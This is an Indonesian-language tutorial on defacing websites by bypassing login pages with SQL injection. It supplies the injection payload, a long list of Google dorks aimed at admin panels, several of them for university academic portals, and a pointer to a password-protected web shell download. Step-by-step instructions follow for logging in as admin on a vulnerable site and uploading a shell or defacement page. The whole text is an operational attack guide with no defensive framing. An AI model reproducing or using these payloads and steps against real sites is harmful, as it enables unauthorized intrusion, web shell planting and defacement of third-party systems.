Deface bypas sqli login tebas index

tutorial deface bypas sqli login tebas index

Kali Ini Gw Mau Ngasi Tau Buat Kalian Para lammer . Cara Deface Metode Bypass SQL login

Apa itu bypass ?

Bypass adalah singkatan dari "bye bye password"  yaitu tekhnik memanfaatkan eror pada SQL website , dan kita dapat masuk ke dalam administrator/dashboard admin tersebut tanpa harus memasukkan password dan username yg di buat oleh admin

##bahan/alat##

-hp/pc

-dork

-exsploit   ' or 1=1 limit 1 -- -+

-Shell : Download di sini password : IndoXploit

-rokok+kopi=voss

##dork##

inurl:/login.php intext:administrator intext:login

inurl:/admin/upoload/

inurl:/admin/login.php/ intitle:Administrator

inurl:/admin/login.php intitle: Panel Admin

inurl:/admin/login.php site:in

inurl:/ mnux=login kampus

inurl:/ mnux=login akademik

inurl:/ mnux=login powered by sisfo

inurl:/?mnux=login "powered by sisfo kampus"

inurl:/ mnux=login sisfo kampus inurl / mnux=login admin

inurl:/ mnux =& quot akademik

inurl:/ mnux=login powered by sisfo

inurl:/? mnux login inurl / mnux=login id /?mnux=login&lgn=frm siakad

inurl:/ mnux=login akademik administrasi akademik - universitas sisfokampus

inurl:/ mnux =& quot akademik

inurl:/admin/img/ ext:jpg

inurl:/admin/foto_berita

inurl:/admin/img/ "products"

inurl:/admin/img_gallery "blog"

##langkah-langkah##

1. Pilih salah satu dork di atas dan pastein ke gogle

2. Pilih salah satu web yg menurut lu vuln, trs masukin exsploit nya .   ' or 1=1 limit 1 -- -+ trs klik login.

3. Nah kalo vuln lu bakal langsung masuk ke panel admin/dashboard admin.

4. Nah kalo udah masuk panel admin lu tinggal cari tempat upload nya , biasanya tempat upload nya ad di galery, banner dll, karna beda web beda tempat nya yah!!

5. Kalo udah ketemu lu tinggal upload shell/SC deface lu.

Sekian tutorial nya 

Note: jangan lupa backup kalo ngindex

Join Grup telegram
Join Grup watsapp